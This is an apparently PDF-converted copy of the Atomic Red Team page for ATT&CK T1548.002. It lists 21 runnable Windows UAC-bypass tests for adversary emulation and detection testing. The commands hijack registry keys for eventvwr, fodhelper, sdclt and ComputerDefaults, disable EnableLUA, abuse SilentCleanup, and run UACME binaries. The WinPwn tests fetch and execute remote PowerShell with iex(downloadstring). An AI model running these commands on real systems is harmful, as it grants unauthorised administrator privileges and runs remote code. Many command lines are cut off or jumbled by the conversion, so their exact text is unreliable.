

# T1548.002 - Bypass User Account Control

# **Description from ATT&CK**

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)

(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

• eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

# **Atomic Tests**

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# Atomic Test #1 - Bypass UAC using Event Viewer (cmd)

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - <a href="https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/">https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/</a> Upon execution command prompt should be launched with administrative privelages

Supported Platforms: Windows

auto\_generated\_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9

### Inputs:

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

# Attack Commands: Run with command\_prompt!

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "# $\{executable_{-}|\ \Box \ cmd.exe$  /c eventvwr.msc

### **Cleanup Commands:**

reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

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# Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)

PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - <a href="https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/">https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/</a> Upon execution command prompt should be launched with administrative privelages

Supported Platforms: Windows

auto\_generated\_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b

### Inputs:

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

# Attack Commands: Run with powershell!

```
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(defau: Start-Process "C:\Windows\System32\eventvwr.msc"
```

# Cleanup Commands:

```
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
```

# Atomic Test #3 - Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.

Supported Platforms: Windows

auto\_generated\_guid: 58f641ea-12e3-499a-b684-44dee46bd182

# Inputs:

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

### Attack Commands: Run with command\_prompt!

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executal creg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecuriodhelper.exe"

# **Cleanup Commands:**

reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1

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# Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.

Supported Platforms: Windows

auto\_generated\_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa

### Inputs:

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

### Attack Commands: Run with powershell!

```
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "De:
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(d:
Start-Process "C:\Windows\System32\fodhelper.exe"
```

### **Cleanup Commands:**

```
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Igno
```

# Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)

PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open

Supported Platforms: Windows

auto\_generated\_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

### Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "Delet-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(deletate-Process "C:\Windows\System32\ComputerDefaults.exe"
```

### **Cleanup Commands:**

```
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Igno
```

# Atomic Test #6 - Bypass UAC by Mocking Trusted Directories

Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch

Supported Platforms: Windows

auto\_generated\_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1

#### Inputs:

Name	Description	Туре	Default Value
executable_binary	Binary to execute with UAC Bypass	Path	C:\Windows\System32\cmd.exe

# Attack Commands: Run with command\_prompt! Elevation Required (e.g. root or admin)

```
mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
```

# Cleanup Commands:

```
rd "\\?\C:\Windows \" /S /Q >nul 2>nul

del "c:\testbypass.exe" >nul 2>nul
```

# Atomic Test #7 - Bypass UAC using sdclt DelegateExecute

Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe <a href="Reference-sevagas.com"><u>Reference-sevagas.com</u></a> Adapted from <a href="MITRE"><u>MITRE</u></a> ATT&CK Evals

Supported Platforms: Windows

auto\_generated\_guid: 3be891eb-4608-4173-87e8-78b494c029b7

#### Inputs:

Name	Description	Туре	Default Value
command.to.execute	Command to execute	String	cmd.exe /c notepad.exe

### Attack Commands: Run with powershell!

```
New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#  
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -I
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3
```

# Cleanup Commands:

```
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ign
```

# Atomic Test #8 - Disable UAC using reg.exe

Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

Supported Platforms: Windows

auto\_generated\_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9

Attack Commands: Run with command\_prompt! Elevation Required (e.g. root or admin)

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Enab

#### Cleanup Commands:

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Enab

# Atomic Test #9 - Bypass UAC using SilentCleanup task

Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing\_highest\_uac\_level\_windows\_810/

There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

For example, we can set the windir registry kye to: "cmd /k REM"

And forcefully run SilentCleanup task:

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /l

REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.

Supported Platforms: Windows

auto\_generated\_guid: 28104f8a-4ff1-4582-bcf6-699dce156608

#### Inputs:

Name	Description	Туре	Default Value
file_path	Path to the bat file	String	PathToAtomicsFolder\T1548.002\src\T1548.002.bat

Attack Commands: Run with command\_prompt!

#{file\_path}



# Atomic Test #10 - UACME Bypass Method 23

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type: Dll Hijack

Method: IFileOperation

Target: \system32\pkgmgr.exe

Component: DismCore.dll

Implementation: ucmDismMethod

UCM Method: UacMethodDISM

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows

auto\_generated\_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\23 Akagi64.exe

#### Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

#### Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

#### **Check Prereq Commands:**

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic C
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```

# Atomic Test #11 - UACME Bypass Method 31

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3

Type: Shell API

Method: Registry key manipulation

Target: \system32\sdclt.exe

Component: Attacker defined

Implementation: ucmSdcltIsolatedCommandMethod

UCM Method: UacMethodShellSdclt

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15

### Inputs:

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\31 Akagi64.exe

# Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

# **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

**Check Prereq Commands:** 

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic C
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```

# Atomic Test #12 - UACME Bypass Method 33

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: winscripting.blog

Type: Shell API

Method: Registry key manipulation

Target: \system32\fodhelper.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodMsSettings2

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

**auto\_generated\_guid**: e514bb03-f71c-4b22-9092-9f961ec6fb03

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\33 Akagi64.exe

#### Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

#### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

#### Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

### **Check Prereq Commands:**

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic C
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```

# Atomic Test #13 - UACME Bypass Method 34

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type: Shell API

Method: Environment variables expansion

Target: \system32\svchost.exe via \system32\schtasks.exe

Component: Attacker defined

Implementation: ucmDiskCleanupEnvironmentVariable

UCM Method: UacMethodDiskSilentCleanup

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6

### Inputs:

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\34 Akagi64.exe

# Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

**Check Prereq Commands:** 

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

# Atomic Test #14 - UACME Bypass Method 39

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Stefan Kanthak

Type: Dll Hijack

Method: .NET Code Profiler

Target: \system32\mmc.exe

Component: Attacker defined

Implementation: ucmCorProfilerMethod

UCM Method: UacMethodCorProfiler

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: 56163687-081f-47da-bb9c-7b231c5585cf

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\39 Akagi64.exe

#### Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

#### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

#### Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

### **Check Prereq Commands:**

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic C
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```

# Atomic Test #15 - UACME Bypass Method 56

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Hashim Jawad

Type: Shell API

Method: Registry key manipulation

Target: \system32\WSReset.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodShellWSReset

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e

### Inputs:

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\56 Akagi64.exe

# Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

# **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

**Check Prereq Commands:** 

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

# Atomic Test #16 - UACME Bypass Method 59

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type: Applnfo ALPC

Method: RAiLaunchAdminProcess and DebugObject

Target: Attacker defined

Component: Attacker defined

Implementation: ucmDebugObjectMethod

UCM Method: UacMethodDebugObject

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29

Name	Description	Туре	Default Value	
uacme_exe	Path to uacme executable	Path	%temp%\uacme\59 Akagi64.exe	

#### Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

#### Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

### **Check Prereq Commands:**

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic C
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```

# Atomic Test #17 - UACME Bypass Method 61

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup\_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3/bytecode77 derivative by Nassim Asrir

Type: Shell API

Method: Registry key manipulation

Target: \system32\slui.exe, \system32\changepk.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodDebugObject

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto\_generated\_guid: 7825b576-744c-4555-856d-caf3460dc236

### Inputs:

Name	Description	Туре	Default Value
uacme_exe	Path to uacme executable	Path	%temp%\uacme\61 Akagi64.exe

# Attack Commands: Run with command\_prompt!

```
"#{uacme_exe}"
```

### **Cleanup Commands:**

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: UACME executable must exist on disk at specified location (#{uacme\_exe})

**Check Prereq Commands:** 

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

# Atomic Test #18 - WinPwn - UAC Magic

UAC bypass using Magic technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
```

# Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique

UAC bypass using ccmstp technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t')

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t')

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t')
```

# Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique

UAC bypass using DiskCleanup technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c

Attack Commands: Run with powershell!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t'

UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskClo
```

# Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique

UAC Bypass DccwBypassUAC technique via function of WinPwn

Supported Platforms: Windows

auto\_generated\_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3 🚨

atomic-red-team/atomics/T1548.002/T1548.002.md at f339e7da7d05f6057fdfcdd3742bfcf365fee2a9 · redcanaryco/atomic-red-team · GitHub - 31/10/2024 20:01 https://github.com/redcanaryco/atomic-red- team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7bypass-uac- using-sdclt-delegateexecute	